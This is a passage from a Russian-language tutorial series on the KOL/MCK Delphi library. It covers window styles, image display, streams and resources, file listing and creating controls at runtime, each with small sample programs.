  Windows,
  messages,
  KOL;
{$R *.RES}
begin
end.

Можно конечно удалить и строчку {$R *.RES} (тем самым уменьшив приложение на пару кб), но я предпочитаю оставлять эту строку, чтобы приложение было более красивым (красивые иконки - это моя слабость;) Ну, а теперь можно сохранить наш проект (например под именем L1). Конечно, как вы понимаете, это еще не программа, но запустить ее можете уже и сейчас. Вернемся к KOL.

function NewForm( AParent: PControl; const Caption: String ): PControl; 

Для создания формы надо воспользоваться конструктором NewForm. В параметрах у этого конструктора указывается специальный объект Applet (AParent) и заголовок окна (Caption). Вы наверное сразу зададитесь вопросом: что такое Applet ? Для ответа на этот вопрос надо вспомнить то, о чем я говорил об обьекте TControl (ну, насчет того, что в параметрах конструктора визуальных контролов обычно указывается объект, на котором находится контрол). Так Applet - это объект, "на котором" создается окно. Если у вас одно окно, то этот объект создается автоматически и не надо пользоваться его конструктором.

function NewApplet( const Caption: String ): PControl;

Вот пример создания окна:

program L1;
uses
  Windows,
  messages,
  KOL;
{$R *.RES}
var
  form:PControl;
begin
  form := NewForm(Applet,'Первое окно');
  run(form);
end.

Функция Run, "запускает" программу, т.е. запускает цикл, в котором обрабатываются сообщения программы.

Теперь рассмотрим некоторые свойства окна, из которых многие аналогичны стандартным свойствам форм Delphi.
Свойство Описание
Width Длина окна
Height Высота окна
Сарtiоn Заголовок
Handle Хендл
Style Стиль окна
ExStyle Расширенный стиль окна
Top Положение окна от верхнего края монитора
Left Положение окна от левого края монитора

Это конечно не все свойства, но они обычно самые нужные. Style и ExStyle отвечают за то, что у обычной формы в VCL отвечает свойство FormStyle. Для тех, кто никогда не имел дело с API, привожу список тех значений, которые они могут принимать. Для Style (основные):

WS_OVERLAPPED создается окно с рамкой заголовком, но без системного меню и кнопок "Свернуть", "Развернуть" и т.д. WS_OVERLAPPEDWINDOW создается окно имеющее заголовок, изменяемый размер, системное меню, и кнопки управлением окна, короче говоря, обычное окно. Данный флаг является комбинацией нескольких других. WS_POPUP флаг, обратный к WS_OVERLAPPED. Создается окно, не имеющее ничего, кроме поверхности. Для добавления строки заголовка нужно добавить флаг WS_CAPTION. WS_BORDER создается окно с простой тонкой рамкой, причем пользователь не может поменять размер окна. WS_THICKFRAME создается окно с толстой рамкой, позволяющее пользователю менять размер окна. WS_HSCROLL создается окно с горизонтальной полосой прокрутки WS_VSCROLL создается окно с вертикальной полосой прокрутки WS_SYSMENU создается окно имеющее системное меню. Для того, чтобы данный флаг заработал, окно должно иметь установленным один из флагов рамки - WS_THICKFRAME или WS_BORDER WS_MAXIMIZEBOX создается окно с кнопкой максимизации WS_MINIMIZEBOX создается окно с кнопкой минимизации WS_DISABLED создается окно, с первоначально запрещенным доступом к нему WS_MAXIMIZE создаваемое окно, сразу после создания максимизируется WS_MINIMIZE то же самое, только окно минимизируется WS_VISIBLE окно создается первоначально видимым. Это очень важный флаг! Если вы не укажете его, то вам придется самостоятельно делать окно видимым при помощи функции ShowWindow. Обычно этот флаг устанавливается вместе с флагом WS_CHILD

Для расширенного стиля окна ExStyle значения следующие:

WS_EX_ACCEPTFILES определяет окно, способное принимать перетаскиваемые на него файлы из "Проводника" Windows WS_EX_CONTEXTHELP определяет окно, с кнопкой контекстного поиска в заголовке окна (кнопка со знаком вопроса внутри). Как использовать эту кнопку - это уже другой вопрос. WS_EX_TOPMOST создается окно, располагающееся всегда поверх остальных окон, даже в неактивном состоянии. WS_EX_TOOLWINDOW создается окно с тонкой строкой заголовка, обычно используется для панелей инструментов. WS_EX_CLIENTEDGE создается окно с "утопленной" клиентской областью

Общий стиль окна получается соединением флагов при помощи операции OR. Если вы используете флаги стиля, то один из них должен быть WS_VISIBLE. В следующей таблице я покажу какими должны быть флаги, для того чтобы создавать окна аналогичные окнам, создаваемым в Delphi.

Delphi KOL
bsSizeable Form.Style := WS_THICKFRAME or WS_SYSMENU or WS_MAXIMIZEBOX or WS_MINIMIZEBOX or WS_VISIBLE; Эти параметры устанавливаются автоматически.
bsSingle Form.Style := WS_BORDER or WS_SYSMENU or WS_MAXIMIZEBOX or WS_MINIMIZEBOX or WS_VISIBLE;>
bsNone Form.Style := WS_POPUP or WS_VISIBLE;
bsDialog Form.Style := WS_BORDER or WS_SYSMENU or WS_VISIBLE;
bsSizeToolWin Form.ExStyle := WS_EX_TOOLWINDOW;
bsToolWindow Form.Style := WS_BORDER or WS_SYSMENU or WS_VISIBLE; Form.ExStyle := WS_EX_TOOLWINDOW;

Но кроме этих типов окон, вы сможете создавать и любые другие, просто по разному комбинируя с флагами стилей.

У окна в KOL есть несколько свойств, позволяющие упрощенное изменение вида окна. Например:

HasBorder - отвечает за то будет ли у окна бордюр и заголовок HasCaption - будет ли у окна заголовок CanResize - можно ли изменять размер окна StayOnTop - будет ли окно всегда на верху

Также в KOL-окно уже "встроен" StatusBar. Чтобы у вас появилась надпись внизу экрана вам достаточно обратится к свойству.

StatusText[idx:integer]:PChar;

Idx отвечает в какой "ячейке" у вас будет надпись. Например если у вас окно Form, то строка Form.StatusText[1]:='Пример'; Приведет к следующему результату в нижней части окна:

Этой информации достаточно, чтобы создать окно на KOL.

Урок 10 - Вывод графики на экран.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь.

Расскажем про основы вывода графических изображений с помощью KOL. А основы (в моем понимании) - это обычный вывод растровой картинки :).

C помощью КОL вы сможете выводить на экран только bmp. Для того чтобы выводить jpg и gif вы должны подключить JpegObj и KolGif. Благодаря этим дополнительным библиотекам ваша программа конечно станет большего размера, но зато сможет показывать картинки этих двух форматов.

Для того чтобы работать с изображениями вы должны создать объекты типа pBitmap, pGif , pJpeg. Для каждого формата изображения свой тип объекта.

Ниже привожу конструкторы этих объектов.

Конструктор Комментарий
function NewBitmap( W, H: Integer ): PBitmap; Создает объект PBitmap для работы с bmp. W и H - это длина и высота изображения.
function NewJpeg: PJpeg; Создает объект PJpeg для работы с jpg
function NewGif: PGif; Создает объект PGif для работы с gif
После создания объекта вы можете загрузить изображения. Все эти объекты поддерживают загрузку из файла и из потока (через свойства LoadFromFile и LoadFromStream). PBitmap может кроме этого загружать изображения из ресурсов. Теперь про то, где будет отображаться рисунок. Фактически можно рисовать почти на любом компоненте, но все таки предпочтительней Paintbox. Поэтому далее говоря про PaintBox, я буду подразумевать и другие поверхности. PaintBox имеет следующей конструктор:
function NewPaintbox( AParent: PControl ): PControl;
Создав PaintBox, вам надо указать процедуру обрабатывающую событие OnPaint. (OnPaint как известно отвечает за отрисовку компонента) Заголовок процедуры должен быть следующим: procedure NameProcedur ( Dummy: Pointer; Sender: PControl; DC: HDC ); В теле процедуры происходит сама прорисовка при помощи обращения к свойствам Draw, StretchDraw, DrawTransparent или StretchDrawTransparent. Все эти свойства присутствуют у PBitmap и PGif. У PJpeg два последних отсутствуют. Draw - обычная прорисовка с сохранением размера рисунка. StretchDraw - рисунок будет "растягивается" по размеру той поверхности на которой происходит рисование (в нашем случае PaintBox) DrawTransparent - аналог Draw только с добавленной возможностью прозрачности определенного цвета. StretchDrawTransparent - как легко понять из названия StretchDraw с возможностью DrawTransparent (растягивается и прозрачный) При рисование через Draw или DrawTransparent размер PaintBox должен быть равен размеру рисунка. Если этого не произойдет (например PaintBox больше) то часть PaintBox которая "выпирает" не будет прорисовывается и будет прозрачной. А "дырка" в окне программы - это как то не эстетично :) Хватит философствовать, пора и показать пример. В нем мы будем использовать ScrollBox для более удобного просмотра выходящих за пределы окна больших картинок.
program Primer_4; 
 
uses 
  windows, 
  messages, 
  kol, 
  JpegObj, 
  KOLGIF; 
 
{$R *.RES} 
var 
 Form, 
 pTop, 
 PB, 
 buOpen, 
 SBox : pControl; 
 ext : string; 
 
 bmp : pBitmap; 
 Gif : pGif; 
 Jpg : pJpeg; 
 
 dlgOpen : pOpenSaveDialog; 
 
/////////////////////////////////////////////////////////// 
procedure DrawPaint( Dummy: Pointer; Sender: PControl; DC: HDC ); 
begin 
  if AnsiCompareText(ext, '.bmp') = 0 then 
    Bmp.Draw(PB.Canvas.Handle, 0, 0); 
 
  if AnsiCompareText(ext, '.gif') = 0 then 
    Gif.Draw(PB.Canvas.Handle, 0, 0); 
 
  if AnsiCompareText(ext, '.jpg') = 0 then 
    jpg.Draw(PB.Canvas.Handle, 0, 0); 
end; 
/////////////////////////////////////////////////////////// 
procedure OpenPic ( Dummy : Pointer; Sender : PControl ); 
begin 
  if dlgOpen = nil then 
    dlgOpen := NewOpenSaveDialog('Открыть рисунок', '', []); 
 
  if PB = nil then 
  begin 
    PB := NewPaintBox(SBox); 
    PB.OnPaint := TOnPaint( MakeMethod( nil, @DrawPaint ) ); 
  end; 
 
  dlgOpen.Filter := 'Рисунки (bmp,gif,jpg)|*.bmp;*.gif;*.jpg'; 
 
  if dlgOpen.Execute then 
  begin 
    ext := ExtractFileExt(dlgOpen.Filename); 
 
    if AnsiCompareText(ext, '.bmp') = 0 then 
    begin 
      if BMP = nil then 
        Bmp := NewBitmap( 0, 0 ); 
      Bmp.LoadFromFile(dlgOpen.Filename); 
      PB.Width := Bmp.Width ; 
      PB.Height:= Bmp.Height; 
    end; 
 
    if AnsiCompareText(ext, '.gif') = 0 then 
    begin
      if Gif = nil then 
        Gif := NewGif; 
      Gif.LoadFromFile(dlgOpen.Filename); 
      PB.Width := Gif.Width ; 
      PB.Height:= Gif.Height; 
    end; 
 
    if AnsiCompareText(ext, '.jpg') = 0 then 
    begin 
      if jpg = nil then 
        jpg := NewJpeg; 
      jpg.LoadFromFile(dlgOpen.Filename); 
      PB.Width := jpg.Width ; 
      PB.Height:= jpg.Height; 
    end; 
 
    Form.StatusText[0] := PChar(ExtractFileName(dlgOpen.Filename)); 
  end; 
end; 
////////////////////////////////////////////////////////// 
 
begin 
  Applet := NewApplet('Пример # 4 (Работа с графикой)'); 
  Form := NewForm(Applet, 'Пример # 4').SetSize(640, 450); 
  Form.CenterOnParent; // размещаем наше окно посередине экрана 
  
  Form.Font.FontName := 'MS Sans Serif'; 
  Form.Font.FontHeight := 9; 
  
// -------- рисуем интерфейс ----------------------------- 
  pTop := NewPanel(Form, esRaised).SetAlign(caTop); 
  pTop.Height := 35; 
 
  buOpen := NewButton(pTop, 'Открыть').SetAlign(caLeft); 
  buOpen.OnClick := TOnEvent( MakeMethod( nil, @OpenPic ) ); 
 
  SBox := NewScrollBoxEx(Form, esLowered).SetAlign(caClient); 
// ------------------------------------------------------- 
 
  run(Applet); 
end.

Исходный текст : 2,48 Кб ; размер программы: 102Кб(без сжатия и замены System) Пока это самая большая программа-пример ;-) Вот что у вас должно получится:

Статьи по Delphi (011)…

Урок 11 - Работа с потоками.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь.

Поговорим про потоки в KOL. Вещь безусловно нужная и поэтому очень приятная :). Потоки позволяют сделать более гибкой работу по обмену и выводу данных из различных источников. Для разных источников (носителей), чтение данных происходит по разному, а потоки унифицируют этот процесс. Теоретическую часть этого вопроса можно найти в любой книжке по Delphi, так что особо разглагольствовать я не буду. Скажу лишь что во многих случаях без них совершенно не обойтись. Например : Вы в ресурс вашей программы поместили gif или jpg файл (ну не хочется вам таскать их отдельными файлами). Разумеется вы захотите когда-нибудь показать их миру . Но не все так просто. Объекты PGif и PJpeg не читают данные из ресурса (только поток или файл. см предыдущий урок). Т.е. у нас сложилась так, что ресурс (источник), не может передать информацию объектам PGif или PJpeg. Вот тут и приходят на помощь потоки. И таких примеров если покопаться можно отыскать достаточно. В конце урока будет приведен пример именно работы с ресурсами (вывод изображения формата gif на экран и сохранения ресурса на диск), а сейчас рассмотрим "школьный минимум".

Конструкторы.

Для создания потока в памяти (чтение и запись): function NewMemoryStream: PStream;

Для создания потоков работающих с файлами:

function NewReadFileStream( const FileName: String ): PStream; function NewWriteFileStream( const FileName: String ): PStream; function NewReadWriteFileStream( const FileName: String ): PStream;

FileName - имя фала на диске. Эти три конструктора отличаются по целям для которых вы собираетесь использовать файл. 1-й для чтения ; 2-й для записи ; 3-й для записи и чтения.

Основные свойства PStream.

Свойства PStream
Свойство. Описание.
Size: DWord; Возвращает размер данных в потоке.
Position: DWord; Текущая позиция в потоке
Memory: Pointer; Указатель. Только для потоков созданных в памяти
Handle: THandle; Хэндл. Только для файловых потоков

Список методов:

Методы PStream
Метод. Описание.
function Read( var Buffer; Count: DWord ): DWord; Чтение в буфер (Buffer) Count байт из потока
function Write( var Buffer; Count: DWord ): DWord; Запись Count байт в поток из буфера Buffer начиная с текущей позиции.
function WriteStr( S: String ): DWORD; Запись любой паскалевской строки (не заканчивающейся нулем) в поток. Запись происходит с текущей позиции.

А теперь сам обещанный пример. Для его работы у вас должен быть установлен KolGif (можете скачать в разделе файлы). Вы также должны создать ресурс содержащий любой gif с именем logo.gif (в моем случаем это логотип нашего сайта). Для этого создайте файл с расширение *.rc (у меня pic.rc) содержащий следующий текст: LOGOTIP RCDATA "logo.gif" Скомпилируйте при помощи brcc32.exe: brcc32.exe pic.rc В процедуре SavePic выполняется сохранения ресурса на жесткий диск (эта процедура происходит при клике по рисунку). В ShowForma gif рисунок извлекается из ресурса и выводится на экран. В обоих процедурах используется функция Resource2Stream. Она переводит данные из ресурса в поток.

program Primer11;
uses
  Kol,
  Messages,
  Windows,
  KolGif;
{$R *.RES}
{$R pic.res}
var
  forma,
  pb: pControl;
  Gif: pGif;
  PicStream: PStream;
////////////////////////////////////////////////////////////////////////// 
// рисование избражения 
procedure DrawPaint( Dummy: Pointer; Sender: PControl; DC: HDC );
begin
  Gif.Draw(PB.Canvas.Handle, 0, 0);
end;
////////////////////////////////////////////////////////////////////////// 
//"забрасываем" ресурс на диск 
procedure SavePic( Dummy : Pointer; Sender: PControl );
begin
  //GetWindowsDir[1] - будем мусорить на системном диске :) 
  //создаем файл-поток для изображения 
  PicStream := NewWriteFileStream(GetWindowsDir[1] + ':\logo.gif');
  // переводим данные из ресурса в поток 
  Resource2Stream(PicStream, HInstance, 'LOGOTIP', RT_RCDATA);
  PicStream.free;
end;
////////////////////////////////////////////////////////////////////////// 
// показываем картинку из ресурса 
procedure ShowForma( Dummy : Pointer; Sender: PControl );
begin
  PicStream := NewMemoryStream; //создаем поток для изображения 
  // переводим данные из ресурса в поток 
  Resource2Stream(PicStream, HInstance, 'LOGOTIP', RT_RCDATA);
  //Указываем с какой позиции у нас будут читаться данные 
  PicStream.Position := 0;
  gif := NewGif;
  gif.LoadFromStream(PicStream);
  PB := NewPaintBox(forma);
  PB.OnPaint := TOnPaint( MakeMethod( nil, @DrawPaint ) );
  // в случае клика по картинке сохраняем ее на диск 
  PB.OnClick := TOnEvent( MakeMethod( nil, @SavePic ) );
  PB.Width := gif.Width ;
  PB.Height:= gif.Height;
  PB.CenterOnParent;
  PicStream.free;
end;
////////////////////////////////////////////////////////////////////////// 
begin
  Applet := NewApplet('Работа с потоком');
  Forma := NewForm(Applet, 'Работа с потоком (вывод gif)');
  Forma.SetSize(310, 120);
  Forma.CenterOnParent;
  Forma.Font.FontName := 'MS Sans Serif';
  Forma.Font.FontHeight := 9;
  Forma.onShow :=  TOnEvent(MakeMethod(nil, @ShowForma));
  Run(Applet);
end.

Исходный текст : 1,9 Кб ; размер программы: 56,5Кб (без сжатия и замены System). Из этих 57 килобайт около 12 занимает картинка. Вот что вы должны увидеть :

Статьи по Delphi (011)…

Пример не совсем выгоден с точки зрения экономии дискового пространства :) Дело в том что логотип в bmp весит всего 24 Кб (цвет 8 бит), а KOLGif примерно 12Кб добавляет в размер программы + 12 Кб рисунок. Но при больших картинках помещать в ресурс gif уже более разумней.

Урок 12 - Создание списка файлов.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь.

Не так уж и часто, но бывает надо в программе получить список файлов или поддиректорий в каталоге. Для тех, кто использует KOL и MCK открываются аж 3 способа решения этой проблемы. Правда нормальный, по моему мнению, все-таки только один :) Рассмотрим все.

1-й способ. " Традиционный .".

Традиционно пользуются 3-мя API функциями: FindFirstFile (ищет первый файл из списка файлов), FindNextFile (ищет следующий файл) , FindClose (прекращение поиска). Обычно первые 2-е функции заменются их VCL-суррогатами FindFirst, FindNext. Для нас, они не совсем приемлемы, так как для того чтобы воспользоваться этими функциями, надо подключить библиотеку Sysutils. А это как известно добавляет лишний жирок в наши атлетически сложенные программы :-). Пример на чистом API с примесью KOL.

program Primer12;
uses
  Windows,
  Messages,
  Kol;
  {$R *.RES}
var
  Form: Pcontrol;
  // ----- элементы интерфейса ----- 
  List: PControl;
  // -----------------------------
  FindHandle : THandle;
  FindData : TWin32FindData;
  b: boolean;
  s: string;
begin
  Applet := NewApplet( 'Список файлов' );
  form:=NewForm(Applet, 'Список файлов' ).SetSize(300, 400);
  form.CenterOnParent;
  List := NewListBox(form, []).SetAlign(caClient);
  // устанавливаем атрибуты файла 
  FindData.dwFileAttributes := FILE_ATTRIBUTE_NORMAL;
  // ищем первый файл в каталоге C:\
  FindHandle := FindFirstFile('C:\*.*', FindData);
  // если все Ok, тогда продолжаем 
  if FindHandle <> INVALID_HANDLE_VALUE then
  begin
     b := true;
     while b do
     begin
       s := FindData.cFileName;
       // всякие точки и двоеточия нам не нужны 
       if (s<>'..') and (s<>'.') then
         List.Add(s);
       b := FindNextFile(FindHandle, FindData);
     end;
  end;
  FindClose(FindHandle);
  run(Applet);
end.

Пояснения на счет атрибутов для искомых файлов:

FILE_ATTRIBUTE_ARCHIVE - архивный файл. FILE_ATTRIBUTE_COMPRESSED - сжатый файл или папка. FILE_ATTRIBUTE_HIDDEN - скрытый файл. FILE_ATTRIBUTE_NORMAL - обычный файл. FILE_ATTRIBUTE_OFFLINE - данные файла недоступны. Указывает, что данные файлы были физически перемещены. FILE_ATTRIBUTE_READONLY - файл только для чтения. FILE_ATTRIBUTE_SYSTEM - системный файл. FILE_ATTRIBUTE_TEMPORARY - временный файл. FILE_ATTRIBUTE_DIRECTORY - директория

2-й способ. "В лоб.".

Несмотря на простоту представленного кода эту операцию можно сделать еще проще т.к. ListBox сам может показать файлы в определенной директории. Для этого надо обратится к свойству AddDirList. Пример еще меньше.

program Primer12_2; 
 
uses 
  Windows, 
  Messages, 
  Kol; 
 
{$R *.RES} 
var 
  Form: Pcontrol; 
  // ----- элементы интерфейса ----- 
  List: PControl; 
  // ------------------------------ 
begin 
  Applet := NewApplet('Список файлов'); 
  form := NewForm(Applet, 'Список файлов').SetSize(300, 400); 
  form.CenterOnParent; 
  List := NewListbox(form, []).SetAlign(caClient); 
  List.AddDirList('C:\*.*', FILE_ATTRIBUTE_NORMAL); 
  run(Applet); 
end. 

Это конечно интересный способ получать список файлов, но не функциональный :) Не создавать ведь на окне каждый раз ListBox или СоmьоВох (он тоже имеет это же свойство), чтобы получить список файлов. Да и почему-то выводимый список файлов в виде " коротких имен " (т.е. как будто в DOS). Скорее всего Владимир Кладов добавил это свойство как интересную фичу и не более.

3-й способ. " Как положено ".

Ну и самое интересное :) В KOL есть объект предназначенный для создания списка фалов. Это PDirList. Вот его конструктор:

function NewDirList( const DirPath, Filter: String; Attr: DWORD ): PDirList;

DirPath - сканируемая директория Filter - фильтр для файлов или каталогов Attr - атрибуты.

Список методов и свойств для работы с этим обьектом:

Метод. Описание.
procedure Clear; Очищает текущий список с файлами.
procedure ScanDirectory( const DirPath, Filter: String; Attr: DWord ); Сканирует директорию DirPath. Все передаваемые значения идентичны конструктору.
procedure Sort( Rules: array of TSortDirRules ); Сортировка списка файлов. Rules (условие сортировки) может быть следующим : sdrNone - обойдемся без сортировки sdrFoldersFirst - сначала идет каталог, а только затем файл. sdrCaseSensitive sdrByName - по имени sdrByExt - по расширению sdrBySize - по размеру sdrBySizeDescending drByDateCreate - по дате создания sdrByDateChanged - по дате изменения sdrByDateAccessed -по дате доступа
Свойство. Описание.
property Items[ Idx: Integer ]: PWin32FindData Получить доступ к структуре PWin32FindData для файла идущего под номером Idx. Подробности об PWin32FindData смотрите в Win32.hlp и в примере " стандартного " создания списка фалов
property IsDirectory[ Idx: Integer ]: Boolean; Возвращает true если запись под номером Idx в списке не является файлом.
property Count: Integer; Возвращает количество пунктов в списке.
property Names[ Idx: Integer ]: string; Возвращает полное имя файла (или каталога) находящимся в списке под номером Idx.
property Path: string; Путь текущей просканированной директории.

Пример. Наверху в окне находится список дисков. Ниже находится список файлов и подкаталогов, находящихся в центральных каталогах этих дисков.

program Primer12_3;
uses
  windows,
  messages,
  kol;
{$R *.RES}
var
  form: Pcontrol;
 // ----- элементы интерфейса -----
  ListFile, ListDrv: PControl;
 // ------------------------------
  FileL: pDirList;
  i, j: integer;
  DriveBits: set of 0..25;
  DriveNum: integer;
  DriveChar: char;
///////////////////////////////////////////////////////////////////////////
procedure SelDrv(Dummy: Pointer; Sender: PControl);
var
  s: string;
begin
  s := ListDrv.Text;
  if FileL = nil then
    FileL := NewDirList(s, '*.*', FILE_ATTRIBUTE_NORMAL)
  else
  begin
    FileL.Clear;
    FileL.ScanDirectory(s, '*.*', FILE_ATTRIBUTE_NORMAL);
  end;
  FileL.Sort([sdrByName]);
  ListFile.Clear;
  if FileL.Count > 0 then
    for i := 0 to FileL.Count - 1 do
      ListFile.add(FileL.Names[i]);
end;
///////////////////////////////////////////////////////////////////////////
begin
  Applet := NewApplet('Список файлов');
  form := NewForm(Applet, 'Список файлов').SetSize(250, 300);
  form.CenterOnParent;
  Form.Font.FontName := 'MS Sans Serif';
  Form.Font.FontHeight := 9;
 //----------- "рисуем" интерфейс -----------------------
  ListDrv := NewComboBox(form, []).SetAlign(caTop);
  ListFile := NewListbox(form, []).SetAlign(caClient);
 //------------------------------------------------------
  Integer(DriveBits) := GetLogicalDrives; // получаем номера дисков
  i := 0;
  j := 0;
 // узнаем список дисков
  for DriveNum := 0 to 25 do
    if DriveNum in DriveBits then
    begin
      DriveChar := Char(DriveNum + Ord('a'));
      DriveChar := UpCase(DriveChar);
      ListDrv.Add(DriveChar + ':\');
      if DriveChar = 'C' then j := ListDrv.Count - 1; // узнаем каким в очереди идет диск С:\
    end;
  ListDrv.CurIndex := j;
  ListDrv.OnChange := TOnEvent(MakeMethod(nil, @SelDrv));
  SelDrv(nil, nil); // показываем файлы на текущем диске
  run(Applet);
end.

Размер кода 1,8 Кб. Размер программы 34,5 Кб (без сжатия и замены модулей). На экране увидите Вы примерно следующее:

Статьи по Delphi (011)…

Урок 13 - Жизнь и смерть в режиме RunTime на KOL.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь.

13 урок... Если вы суеверный можете не читать :) В этом разделе у нас будет немного мистики и чертовщины (Кнопки и прочие контролы интерфейса будут возникать и пропадать неоткуда). В общем если вы немного Гарри Потерр данный монолог будет вам интересен :).

В форуме уже звучали вопросы про "динамическое" создание кнопок. Если ваш проект на VCL то глоток знаний по данному вопросу можно получить на сайте Королевство DELPHI в статья "Жизнь и смерть в режиме run-time" (надеюсь автор статьи не обвинит меня в плагиате). Рекомендую вам прочесть данный опус для общего развития и потому что фактически все ниже изложенное вытекает из этого произведения. Что бы понять отличия от VCL в данном вопросе надо уяснить 2 вещи :

У объектов нет свойства Name (поэтому вы не сможете их искать через FindComponent) Все изменения вытекают из 1-го пункта :)

При создание объекта на уже работающем окне вам кроме обычного конструктора надо сделать обращение к CreateWindow. Пример :

// form - родительский объект на котором создается контрол
NewBigButton := NewButton(form, 'КНОПКА');
NewBigButton.CreateWindow;

Если все нормально CreateWindow возвращает true. Так что если вы "правильный" программист неплохо бы эту функцию вызывать c проверкой через IF.

"Родительский" объект "нумерует" все объекты которые вы создаете на нем. Для того что бы узнать под каким номером идет ваш "дочерний" объект нужно обратившись к свойству ChildIndex. А если вам известен номер "дочернего" объекта то вы сможете обратится к нему через свойство Children. Пример :

var
  i: Integer;
...
// form - родительский объект
NewBigButton := NewButton(form, 'КНОПКА');
NewBigButton.CreateWindow;
i := form.ChildIndex(NewBigButton); // получаем номер объекта
form.Children(i).caption := ' Это кнопка'; // обращаемся к тому же NewBigButton

Количество дочерних объектов узнается с помощью ChildCount. Таким образом можно устроить "перебор" всех дочерних объектов определенного контрола.

Наверное у некоторых читателей может возникнуть вопрос: к чему мне все эти "номера дочерних объектов"? Ответ на вопрос лежит на поверхности. Если вы создаете ваши контролы динамически(их количество не определено заранее) вы не сможете обратится к ним другим способом только как через его номер. При этом надо учесть что номера объектов сдвигается если ранее созданный объект удален. Для того что бы создаваемые вами визуальные объекты имели дополнительную информацию можно использовать свойство Tag. В него можно заносить любое целое число. В ниже приведенном примере в Tag заносится константа которая указывает на "функциональный тип" объекта (кнопка, EditBox и т.д.).

program Primer13;
uses
  kol,
  messages,
  windows;
{$R *.RES}
var
  form, butNewElement, lebDel, edNoDel, butDelElement, gb,
    rbButton, rbEditBox, rbRadioBox, rbCheckBox: pControl;
  new: pControl;
  Nomer: integer;
const
  cButton = 1;
  cEditBox = 2;
  cRadioBox = 3;
  cCheckBox = 4;
procedure ClickElemet(Dummy: Pointer; Sender: PControl);
begin
  case Sender.Tag of
    cButton: ShowMessage('Нажата кнопка - № ' + Int2Str(form.ChildIndex(Sender)));
    cRadioBox: ShowMessage('Нажата RadioBox - № ' + Int2Str(form.ChildIndex(Sender)));
    cCheckBox: ShowMessage('Нажат CheckBox - № ' + Int2Str(form.ChildIndex(Sender)));
  end; {case}
end;
procedure ClickButMakeButton(Dummy: Pointer; Sender: PControl);
begin
 // Фактически самая главная функция.
 // В зависимости от того какой RadioBox выбран создаем
 // определенного вида объект
  if rbButton.Checked then
  begin
    new := NewButton(form, '');
    new.Width := 100;
    new.Caption := 'Button №' + int2Str(form.ChildIndex(new));
    new.Tag := cButton;
  end
  else
    if rbEditBox.Checked then
    begin
      new := NewEditBox(form, []);
      new.Text := 'EditBox №' + int2Str(form.ChildIndex(new));
      new.Tag := cEditBox;
    end
    else
      if rbRadioBox.Checked then
      begin
        new := NewRadioBox(form, '');
        new.Caption := 'RadioBox №' + int2Str(form.ChildIndex(new));
        new.Width := 100;
        new.Tag := cRadioBox;
      end
      else
        if rbCheckBox.Checked then
        begin
          new := NewCheckBox(form, '');
          new.caption := 'CheckBox №' + int2Str(form.ChildIndex(new));
          new.Width := 100;
          new.Tag := cCheckBox;
        end;
  new.CreateWindow;
 // ------- располагаем по красивее новый контрол -------
  new.Left := 10;
  inc(Nomer);
 // так как все 4 элемента имеют одинаковую высоту...
  new.Top := Nomer * new.Height;
 // ------------------------------------------------------
  new.OnClick := TOnEvent(MakeMethod(nil, @ClickElemet));
end;
//////////////////////////////////////////////////////////////////////////
procedure ClickDelElemet(Dummy: Pointer; Sender: PControl);
begin
  form.Children[Str2Int(edNoDel.Text)].free;
end;
//////////////////////////////////////////////////////////////////////////
begin
  Applet := NewApplet('RunTime');
  Applet.Font.FontName := 'Arial';
  Applet.Font.FontWidth := 15;
  form := NewForm(Applet, 'Создание в режиме RunTime элементов интерфейса').SetSize(600, 450);
  form.CenterOnParent;
//--------------------------- рисуем интерфейс ---------------------------
  gb := NewGroupBox(form, 'Выберите').SetAlign(caRight);
  gb.Width := 100;
  rbButton := NewRadioBox(gb, 'Button').SetAlign(caTop);
  rbEditBox := NewRadioBox(gb, 'EditBox').SetAlign(caTop);
  rbRadioBox := NewRadioBox(gb, 'RadioBox').SetAlign(caTop);
  rbCheckBox := NewRadioBox(gb, 'CheckBox').SetAlign(caTop);
 // главная кнопка
  butNewElement := NewButton(gb, 'Создать');
  butNewElement.Width := 110;
  butNewElement.Align := caTop;
  butNewElement.OnClick := TOnEvent(MakeMethod(nil, @ClickButMakeButton));
  butDelElement := NewButton(gb, 'Удалить').SetAlign(caBottom);
  butDelElement.OnClick := TOnEvent(MakeMethod(nil, @ClickDelElemet));
  edNoDel := NewEditBox(gb, []).SetAlign(caBottom);
  edNoDel.Text := '1';
  lebDel := NewWordWrapLabel(gb, 'Номер удаляемого элемента').SetAlign(caBottom);
 //------------------------------------------------------------------------
  run(Applet);
end.
Размер кода 3,3 Кб. Размер программы 31,5 Кб (без сжатия и замены модулей). На экране увидите Вы примерно следующее:

Статьи по Delphi (011)…

P.S. Уже когда все было написано Дмитрий Жаров aka Gandalf внес замечание по поводу того что (далее идет цитата) >1) Есть Tag, ему можно присвоить PChar, вот так: >obj1.Tag := Integer( 'Obj1' ); (это вырезка из переписки Gandalf с Кладовым) Мысль очень не плохая так как дает возможность назначать контролам имена и делать поиск по ним.

Урок 14 - MCK - RAD технологи для минималистов.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь.

MCK наверняка поRАDует всех тех кто любит "рисовать" интерфейс, но при этом хочет создавать быстрые, компактные приложения как на WinAPI. Признаю. Мне это тоже нравится :) Согласитесь что это увеличивает скорость создания программы чуть ли не в разы.

Подробное описание создания MCK-проекта(как и многого другого) дается в KOLmirrorReadme.rus Это же повествование можно назвать "уроком для тех кто любит с картинками" :) Приступим (подразумевается что KOL и MCK установлены).

Создание проекта MCK.

